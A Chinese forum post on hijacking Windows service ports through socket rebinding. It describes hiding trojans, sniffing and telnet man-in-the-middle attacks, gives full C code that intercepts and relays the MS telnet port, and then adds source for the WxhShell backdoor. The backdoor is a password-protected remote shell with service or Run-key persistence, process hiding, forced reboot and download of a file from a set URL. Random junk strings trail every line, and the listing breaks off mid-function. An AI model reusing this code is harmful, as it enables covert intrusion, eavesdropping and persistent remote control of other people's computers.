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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: aCfWbJ@qiG  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 4dI`  
s`]SK^j0  
  saddr.sin_family = AF_INET; i\K88B&24  
,nUovWN07  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Q[T)jo,j%  
Yic4|N?u  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Gy'/)}}Z  
=ATQ2\T$m  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 =6qSo @  
K@"B^f0mU  
  这意味着什么?意味着可以进行如下的攻击: 83)m#  
$?OQtz@  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 #zb67mg~  
[E9_ZdB T  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) cNy*< Tv  
W$gjcsv  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 (|tR>R.Wxg  
GIS,EwA  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  _( QW2m?K  
#1'p?%K.  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ^*,?x  
J8&0l&~ 6  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 EgOiJH  
~UwqQD1p  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 }fhGofN$e  
h~=~csya:  
  #include :p$Q3  
  #include {J;(K~>?m  
  #include F]RZP/D`  
  #include    AbX#wpp!  
  DWORD WINAPI ClientThread(LPVOID lpParam);    "'Q~&B;@  
  int main() !]8QOn7=  
  { DeQ ZDY //  
  WORD wVersionRequested; Rf{YASPIw&  
  DWORD ret; q9Lq+4\  
  WSADATA wsaData; h,MaF<~  
  BOOL val; &sJ6k/l  
  SOCKADDR_IN saddr; >ATccv  
  SOCKADDR_IN scaddr; OHH\sA  
  int err; <CS,v)4,nH  
  SOCKET s; YgQb(umK  
  SOCKET sc; y@ c[S;  
  int caddsize; {@tO9pc`8  
  HANDLE mt; t+Qx-sW  
  DWORD tid;   ;"NW= P&  
  wVersionRequested = MAKEWORD( 2, 2 ); i\ )$  
  err = WSAStartup( wVersionRequested, &wsaData ); b,#?LdQ%  
  if ( err != 0 ) { cfc=a  
  printf("error!WSAStartup failed!\n"); Ece=loV*l  
  return -1; hz-^9U  
  } ;F /w&u.n  
  saddr.sin_family = AF_INET; }l5Q0'  
   ~yY5pnJ  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 {w v{"*Q9Q  
UrdSo"%  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ERfSJ  
  saddr.sin_port = htons(23); -Y>QKS  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 22EI`}"J  
  { X/D% cQ6  
  printf("error!socket failed!\n"); NLev(B:OQH  
  return -1; t2FA|UF  
  } R]d934s  
  val = TRUE; ?|GwuG8g  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 kM7 6?M  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Ge*N%=MX 8  
  { 4B-+DH>{6  
  printf("error!setsockopt failed!\n"); Fw%S%*B8g  
  return -1; ca:Vdrw`  
  } a.XMeB  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; jq(rnbV  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 u/` t+-A  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ~AcjB(  
_$T.N  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) zHXb[$ Q  
  { pH396GFIW  
  ret=GetLastError(); A/~^4DR  
  printf("error!bind failed!\n"); oK2jPP  
  return -1; J+qcA}  
  } 9lqD~H.  
  listen(s,2); ]q|U0(q9  
  while(1) /)V8X#,  
  { w(q\75  
  caddsize = sizeof(scaddr); X1&c?T1 %[  
  //接受连接请求 JiX-t\V~  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); q=26($  
  if(sc!=INVALID_SOCKET) !Ic~_7"  
  { 3Zm;:v4y  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 88zK)k{  
  if(mt==NULL) ,'@t .XP  
  { Nkk+*(Z  
  printf("Thread Creat Failed!\n"); %p^`,b}  
  break; .:Zb~  
  } (l)r.Vj  
  } KtaoU2s  
  CloseHandle(mt); F7`[r9 $  
  } T{*!.+E  
  closesocket(s); PLK;y  
  WSACleanup(); GO6uQ};  
  return 0; D|/ 4),v  
  }   (5)DQ 1LaF  
  DWORD WINAPI ClientThread(LPVOID lpParam) ]KQBek#DD  
  { ]fU0;jzX  
  SOCKET ss = (SOCKET)lpParam; vk3C&!M<a  
  SOCKET sc; Bv^5L>JZ/  
  unsigned char buf[4096]; .Q DeS|l  
  SOCKADDR_IN saddr; P5Pb2|\*  
  long num; R7Z!  
  DWORD val; piAFxS<6  
  DWORD ret; v3r<kNW_  
  //如果是隐藏端口应用的话,可以在此处加一些判断 X>Y>1fI.  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   o#V{mm,{Pm  
  saddr.sin_family = AF_INET; ,BlNj^5f  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); knRs{1}Pw{  
  saddr.sin_port = htons(23); Y".4."NX  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) :a)`iJnb  
  { W9jxw4)  
  printf("error!socket failed!\n"); rf =Wq_  
  return -1; ,UW!?}@  
  } |G P1[Q{  
  val = 100; o3oTu  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 'H'R6<z5  
  { 32K  
  ret = GetLastError(); f+4j ^y}  
  return -1; )/BbASO$)Z  
  } Ji0FHa_  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) m@g9+7  
  { EskD)Sl   
  ret = GetLastError(); OTWp,$YA=  
  return -1; a7TvX{<d  
  } i0&W}Bb'  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) "Pzh#rYY~W  
  { jJe?pT]o  
  printf("error!socket connect failed!\n"); lT;uL~j  
  closesocket(sc); d{(NeTs  
  closesocket(ss); LDj*~\vsq  
  return -1; q'`LwAU}  
  } 2:;;  
  while(1) $u::(s} x<  
  { mN1n/LNi  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 '~AR|8q?  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 tIo b  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 0!q@b  
  num = recv(ss,buf,4096,0); yjIA`5^  
  if(num>0) IkgRZ{Y  
  send(sc,buf,num,0); x\K,@  
  else if(num==0) |6b&khAM  
  break; dg@'5.ApPu  
  num = recv(sc,buf,4096,0); Ypx"<CKP}  
  if(num>0) 4.q^r]m*  
  send(ss,buf,num,0); \W"p<oo|H  
  else if(num==0) noO#o+ Jg#  
  break; )^j62uv  
  } Eb9n6Fg  
  closesocket(ss); <4.j] BE  
  closesocket(sc); p4z thdN[  
  return 0 ; Qv1cf  
  } ,(z"s8N  
h|OWtf4  
jXYjs8Iy  
========================================================== M^.>UZKyl  
{EyWSf"  
下边附上一个代码,,WXhSHELL y*#+:D]o*  
mIv}%hD  
========================================================== wfQImCZ>l  
y`8jz,&.  
#include "stdafx.h" m tVoA8(6  
h<bCm`qj  
#include <stdio.h> WUGFo$ xA  
#include <string.h> %8?XOkH)  
#include <windows.h> F+ <Z%KuCu  
#include <winsock2.h> gm7 [m}  
#include <winsvc.h> $dF$-y<[0  
#include <urlmon.h> Z~ u3{  
R#HX}[Hb  
#pragma comment (lib, "Ws2_32.lib") cs*"9nKl  
#pragma comment (lib, "urlmon.lib") c2:oM<6|  
+w8$-eFY  
#define MAX_USER   100 // 最大客户端连接数 -b=A j8h  
#define BUF_SOCK   200 // sock buffer G@scz!Nt  
#define KEY_BUFF   255 // 输入 buffer FM<`\ d'  
OZQN&7  
#define REBOOT     0   // 重启 @oQ"FLF.  
#define SHUTDOWN   1   // 关机 Jo:S *D  
6T%5<I*&3s  
#define DEF_PORT   5000 // 监听端口 ,z`* 1b8  
/?u]Fj  
#define REG_LEN     16   // 注册表键长度 -{NP3zy  
#define SVC_LEN     80   // NT服务名长度 <l<6W-I   
&o'$uLF~Y  
// 从dll定义API =kBN&v_(!  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ^#4Ah[:XA  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Oe lf^&m  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); <yw56{w,  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); XCyrr 2^  
%#E$wz  
// wxhshell配置信息 gB]jLe  
struct WSCFG { @]dv   
  int ws_port;         // 监听端口 L#\5)mO.v  
  char ws_passstr[REG_LEN]; // 口令 !HKW_m^3J  
  int ws_autoins;       // 安装标记, 1=yes 0=no UvuA N:'  
  char ws_regname[REG_LEN]; // 注册表键名 bRK\Tua 6  
  char ws_svcname[REG_LEN]; // 服务名 S%jFH4#  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 5TLE%#G@+  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 +6:jm54  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 i'[! 'HY  
int ws_downexe;       // 下载执行标记, 1=yes 0=no :jFZz%   
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" <aY>fg d/1  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Em(Okr,0  
>LJ<6s[=  
}; +QeA*L$~  
%+ytX]E  
// default Wxhshell configuration uj+{ tc  
struct WSCFG wscfg={DEF_PORT, 8LUl@!4b  
    "xuhuanlingzhe", JV?d/[u,  
    1, O"J"H2}S  
    "Wxhshell", ^ LVKXr  
    "Wxhshell", Bv#?.0Ez;  
            "WxhShell Service",  huvn_  
    "Wrsky Windows CmdShell Service", 5E =!L g  
    "Please Input Your Password: ", r`Dm;@JU  
  1, vK$wc~  
  "http://www.wrsky.com/wxhshell.exe", 2Q;rSe._`  
  "Wxhshell.exe" C=JS]2W2  
    }; x|)pZa  
^7YZ>^  
// 消息定义模块 Jv?EV,S/e  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; lLLPvW[Q  
char *msg_ws_prompt="\n\r? for help\n\r#>"; g nw">H  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; gi$'x^]#  
char *msg_ws_ext="\n\rExit."; #x \YA#~  
char *msg_ws_end="\n\rQuit."; 2x~Pq_?y  
char *msg_ws_boot="\n\rReboot..."; M,<UnAVP-  
char *msg_ws_poff="\n\rShutdown..."; aI 1tG  
char *msg_ws_down="\n\rSave to "; FmgMd)#  
fpJ%{z2  
char *msg_ws_err="\n\rErr!"; Xq}}T%jcd  
char *msg_ws_ok="\n\rOK!"; sK8sxy  
:"cKxd  
char ExeFile[MAX_PATH]; 8y;gs1d;A  
int nUser = 0; iqKs:v@+x  
HANDLE handles[MAX_USER]; _%(.OR  
int OsIsNt; *0'< DnGW  
3 6t^iV*3  
SERVICE_STATUS       serviceStatus; BDLJDyf B  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; >96+s)T%;  
l[[^]__  
// 函数声明 H'Jz:6   
int Install(void); 3Pvz57z{  
int Uninstall(void); 4K*st8+bl-  
int DownloadFile(char *sURL, SOCKET wsh); ~RV"_8`V9  
int Boot(int flag); m$7C{Mr'  
void HideProc(void); HhwAzk/G~  
int GetOsVer(void); ~zVe?(W  
int Wxhshell(SOCKET wsl);  /#zs  
void TalkWithClient(void *cs); oA3;P]~[  
int CmdShell(SOCKET sock); gH*(1*  
int StartFromService(void); V=8npz   
int StartWxhshell(LPSTR lpCmdLine); ,P=.x%  
rU|?3x  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Hz%<V *\{  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); r 5t{I2  
4 RfBXVS  
// 数据结构和表定义 ]}n|5  
SERVICE_TABLE_ENTRY DispatchTable[] = ZO>)GR2S  
{ |XV`A)=f  
{wscfg.ws_svcname, NTServiceMain}, N?O^"  
{NULL, NULL} stiYC#bI:  
}; AuZISb%6  
\i\>$'f*z  
// 自我安装 p3e=~{v*  
int Install(void) ^tIYr <I  
{ 4/OmgBo '  
  char svExeFile[MAX_PATH]; HVK0NI  
  HKEY key; )TEod!]  
  strcpy(svExeFile,ExeFile); >E3-/)Ti  
ppGWh  
// 如果是win9x系统,修改注册表设为自启动 @FF80U4'  
if(!OsIsNt) { `qRyh}Ax"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _-2n tO<E  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5&xbGEP$  
  RegCloseKey(key); ZD4aT1|Q7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { x+b.9f4xJ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~y"OyOi&  
  RegCloseKey(key); 'S*]JZ1  
  return 0; lgZ9*@d  
    } *X^ C+F  
  } wN^^_  
} Ao#bREm  
else { { SDnVV  
C_yNSD  
// 如果是NT以上系统,安装为系统服务 HE>V\+ AL  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); |9X2AS Qu  
if (schSCManager!=0) `?SC.KT  
{ DuLl"w\_@  
  SC_HANDLE schService = CreateService N1 sdWXG  
  ( W }v ,6Oe  
  schSCManager, uc}F|O   
  wscfg.ws_svcname, #g'j0N  
  wscfg.ws_svcdisp, zGy+jeH:.  
  SERVICE_ALL_ACCESS, <p-@XzyE  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , :jC$$oC].  
  SERVICE_AUTO_START, A[F_x*S  
  SERVICE_ERROR_NORMAL, Q<KF<K'0hg  
  svExeFile, YMVi7D~;Q$  
  NULL, e wWw  
  NULL, gtT&97tT<  
  NULL, `g4N]<@z  
  NULL, W|"bV 6d3  
  NULL uGHM ]"!)  
  ); v=Q!ioE7  
  if (schService!=0) eu":\ks  
  { Yq4nmr4  
  CloseServiceHandle(schService); cI/}r Z+  
  CloseServiceHandle(schSCManager); b"nkF\P@Fj  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); f1sp6S0V\  
  strcat(svExeFile,wscfg.ws_svcname); $4qM\3x0,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { #2"'tHf4  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 9+/D\|"{  
  RegCloseKey(key); V]m}xZ'?^  
  return 0; MWK)Bn  
    } l/"!}wF  
  } /a)^)  
  CloseServiceHandle(schSCManager); LROrhO  
} :qzh kKu  
} Q)lD2  
PZO.$'L|7  
return 1; %oWG"u  
} \DWKG~r-%  
)>"pm {g2  
// 自我卸载 Qvel#*-4  
int Uninstall(void) J3e'?3w[  
{ kD7'BP/#  
  HKEY key; _18Z]XtX  
Q laoa)d#  
if(!OsIsNt) { rBi6AM/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { s,AJR [  
  RegDeleteValue(key,wscfg.ws_regname); 2.]d~\  
  RegCloseKey(key); jbUg?4k!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (bpRX$is  
  RegDeleteValue(key,wscfg.ws_regname); ;C=V -r  
  RegCloseKey(key); o*2Mjd]r  
  return 0; 9U4[o<G]=  
  } uy~$ :0o  
} IKaW],sr#  
} BPm" )DMo  
else { ~wOMT  
atw*t1)g  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); jeJspch+#  
if (schSCManager!=0) c;!| =  
{ _8-T?j**   
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); /3 VO!V]u  
  if (schService!=0) w4_Xby)  
  { i_QiE2d  
  if(DeleteService(schService)!=0) { d$xvM  
  CloseServiceHandle(schService); w'XSkI_ay  
  CloseServiceHandle(schSCManager); {d]B+'  
  return 0; <:T/hm$  
  } [>\e@ =  
  CloseServiceHandle(schService); adRIg:2  
  } XKDX*x G  
  CloseServiceHandle(schSCManager); [2>zaag  
} 9I$} =&"  
} _n{_\/A6f  
UEt78eN  
return 1; -#R`n'/  
} t0kZFU  
Fy!s$!\C0  
// 从指定url下载文件 9_.pLLx  
int DownloadFile(char *sURL, SOCKET wsh) %M/L/_d  
{ <|]i3_Z  
  HRESULT hr; U2tgBF?)A  
char seps[]= "/"; r`.Bj0  
char *token; j]` hy"  
char *file; p GF;,h>  
char myURL[MAX_PATH]; }_}    
char myFILE[MAX_PATH]; bj0<A  
Ciz,1IV  
strcpy(myURL,sURL); ShvC4Xb 0  
  token=strtok(myURL,seps); o|c&$)m  
  while(token!=NULL) ?<Hgq8J  
  { jC$~m#F  
    file=token; O '`|(L  
  token=strtok(NULL,seps); %++S;#)~  
  } Da!vGr  
qs= i+  
GetCurrentDirectory(MAX_PATH,myFILE); gg8)oc+w  
strcat(myFILE, "\\"); y4aT-^C'  
strcat(myFILE, file); %e)vl[:}  
  send(wsh,myFILE,strlen(myFILE),0); Y,EF'Ot  
send(wsh,"...",3,0); +JY8"a97>  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); UV av^<_  
  if(hr==S_OK) !0|&f>y  
return 0; L<XX?I\p  
else [+#k+*1*o  
return 1; \ bWy5/+  
wZbT*rU  
} $sZ4r>-  
Z#[%JUYp'  
// 系统电源模块 f)gV2f0t  
int Boot(int flag) yx6^ mis4  
{ `[XH=-p  
  HANDLE hToken; 0;,Y_61  
  TOKEN_PRIVILEGES tkp; ;=E}PbZt2  
HZS.%+2  
  if(OsIsNt) { Xc^(e?L4  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); m^0 I3;  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); C8YStT  
    tkp.PrivilegeCount = 1; t6kLZ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; TDy)A2Z  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); )56L`5#tS  
if(flag==REBOOT) { gp~-n7'~O  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) O U9{Y9e  
  return 0;  | z_av  
} Ol<LL#<j4  
else { 9&<c)sS&B  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) B<h4ZK%  
  return 0; (!0_s48f  
} B}* \ pdJ  
  } _ Qek|>  
  else { ,I+O;B:0  
if(flag==REBOOT) { kK 5~hpv  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ]W%rhppC  
  return 0; qoZAZ&|HI  
} u`oJ3mS;  
else { f,LeJTX=  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) S$R=!3* "V  
  return 0; m7XN6zX  
} %u<r_^w5  
} jGJf[:M&Pm  
'd;aAG  
return 1; )cZ KB0*+  
} W?.xtQEv  
K:Z,4Y  
// win9x进程隐藏模块 K@!hrye  
void HideProc(void) )=aq j@v  
{ */TO $ ^s  
Ae2Y\sAV  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); @E h(GZN  
  if ( hKernel != NULL ) Q&%gpa ).W  
  { zJ ;]z0O  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ;i+(Q%LO  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); `Pwf?_2n-  
    FreeLibrary(hKernel); 2)n%rvCQ  
  } Gz8JOl  
LUz`P6  
return; y^kC2DS   
} a{%EHL,F  
Bxj4rC[  
// 获取操作系统版本 ?V_v=X%w  
int GetOsVer(void) F^TOLwix  
{ S_VzmCi  
  OSVERSIONINFO winfo; -~lrv#5Q  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); !VrBoU4<d  
  GetVersionEx(&winfo); !}1l8Y  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) e U-A_5  
  return 1; FgPmQ  
  else zx"0^r}  
  return 0; !4t%\N6Ib  
} |Q?$n3-f"  
5`K'2  
// 客户端句柄模块 9{A*[.XK]  
int Wxhshell(SOCKET wsl) 09G]t1!,  
{ n iB<h  
  SOCKET wsh; b Hy<`p0  
  struct sockaddr_in client; [ei5QSL |  
  DWORD myID; I9U 8@e!X  
B8up v~U 6  
  while(nUser<MAX_USER) `<Hc,D; p  
{ #SD2b,f  
  int nSize=sizeof(client); HDu|KW$o1  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); )coA30YR  
  if(wsh==INVALID_SOCKET) return 1; Th~pju  
<!|=_W6  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 6Hd^qouid  
if(handles[nUser]==0) D6e<1W  
  closesocket(wsh); *1>Tc,mb  
else _F8-4  
  nUser++; :b#5 cMUe  
  } $.B}zY{  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ~ r$I&8  
_qQo}|/q  
  return 0; :n x;~f  
} u/\Ipk/  
otP2qAI  
// 关闭 socket )S_ %Ip  
void CloseIt(SOCKET wsh) )MX%DQw  
{ x}reeqn  
closesocket(wsh); Ja@ ?.gW  
nUser--; C|QJQ@bj0  
ExitThread(0); :+ "JPF4X  
} kYd=DY  
rj5)b:c}  
// 客户端请求句柄 h 'is#X 6:  
void TalkWithClient(void *cs) ^AUQsRA7PZ  
{ #`"B YFV[E  
ab6D&  
  SOCKET wsh=(SOCKET)cs; Mq6_Q07  
  char pwd[SVC_LEN]; `]Vn[^?D  
  char cmd[KEY_BUFF]; $,T3vX]<  
char chr[1]; .3 ^*_  
int i,j; i\MW'b  
m :]F &s  
  while (nUser < MAX_USER) { QkO4Td<  
#P1 ;*m  
if(wscfg.ws_passstr) { Aca ?C  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |C t Q  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <R#:K7> O  
  //ZeroMemory(pwd,KEY_BUFF); wKz*)C  
      i=0; 8[8U49V9(  
  while(i<SVC_LEN) { jqoU;u`  
+6Vu]96=KC  
  // 设置超时 F0Z cV>j}  
  fd_set FdRead; mOYXd,xd  
  struct timeval TimeOut; 9x9E+DG#(  
  FD_ZERO(&FdRead); `"bp -/  
  FD_SET(wsh,&FdRead); z &[[4[  
  TimeOut.tv_sec=8; .fY$$aD$4  
  TimeOut.tv_usec=0; s|"4!{It  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); $I /RN  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); )/tdiRpn  
yXc@i)9w3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ob -k`@_|  
  pwd=chr[0]; )v.\4Q4  
  if(chr[0]==0xd || chr[0]==0xa) { ]JI A\|b6  
  pwd=0; 0j{KZy  
  break; a3(f\MM xE  
  } OL#RkD  
  i++; [dXRord  
    } ]}A yDy6C  
v8A{ q  
  // 如果是非法用户,关闭 socket QOF'SEq"k  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); E __A1j*gd  
} 83"C~xe?p4  
E`uK7 2j  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); /s`xPxvt  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3-2?mV>5  
hzX&BI  
while(1) { B&H [z  
TC'^O0aZ_  
  ZeroMemory(cmd,KEY_BUFF); N;e*eMFE  
1) G6  
      // 自动支持客户端 telnet标准   .s@[-! p  
  j=0; #.\X% !  
  while(j<KEY_BUFF) { N" oJ3-~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %] 7.E  
  cmd[j]=chr[0]; ymyk.#Z<%  
  if(chr[0]==0xa || chr[0]==0xd) { !^A t{[U  
  cmd[j]=0; 2O9OEZdKB  
  break; i{/nHrN  
  } woK?td|/  
  j++; 7PI|~Ifi  
    } g/soop\:  
px_%5^zRQ  
  // 下载文件 BRMR> ~k(  
  if(strstr(cmd,"http://")) { C/pu]%n@4  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ^kpu9H  
  if(DownloadFile(cmd,wsh)) Z7R+'OC  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4'# _b  
  else OKzk\F6  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =t-503e.J  
  } ::kpAE]  
  else { JTB5#S4W  
}L*cP;m#  
    switch(cmd[0]) { KHXnB  
  :J+GodW  
  // 帮助 K3t^y`z  
  case '?': { r7p>`>_Q\  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); zL3'',Ha  
    break; doaqHri\,  
  } tt>=Vt '  
  // 安装 meV RdQ  
  case 'i': { _26F[R1><~  
    if(Install()) ktKT=(F&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hC =="4 -  
    else x;R9Gc[5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <$ Ar*<,6  
    break; Z?-l-s K  
    } T/C1x9=?  
  // 卸载 1e^-_Bo6'o  
  case 'r': { (wIpq<%  
    if(Uninstall()) ouUU(jj02  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \6${Na' \  
    else c =i6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); NASRr  
    break; oMi"X"C:q  
    } XX(;,[(_  
  // 显示 wxhshell 所在路径 z<mU$<  
  case 'p': { %fz!'C_4  
    char svExeFile[MAX_PATH]; SSF4P&  
    strcpy(svExeFile,"\n\r"); Wz7jB6AWA  
      strcat(svExeFile,ExeFile); "L" 6jT  
        send(wsh,svExeFile,strlen(svExeFile),0); W7"ks(  
    break; oFV >b  
    } )/9/p17:xu  
  // 重启 X;0DQnAI8j  
  case 'b': { I(Yyg,1Z  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); kSw.Q2ao  
    if(Boot(REBOOT)) ~dK)U*Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); IPnbR)[%  
    else { OsR4oT  
    closesocket(wsh); fW4N+2  
    ExitThread(0); ""ICdZ_A  
    } 8+ 1t ys  
    break; 7>J8\=  
    } #\$R^u]!  
  // 关机 Ui 7S8c#tH  
  case 'd': { u1&pJLK0[  
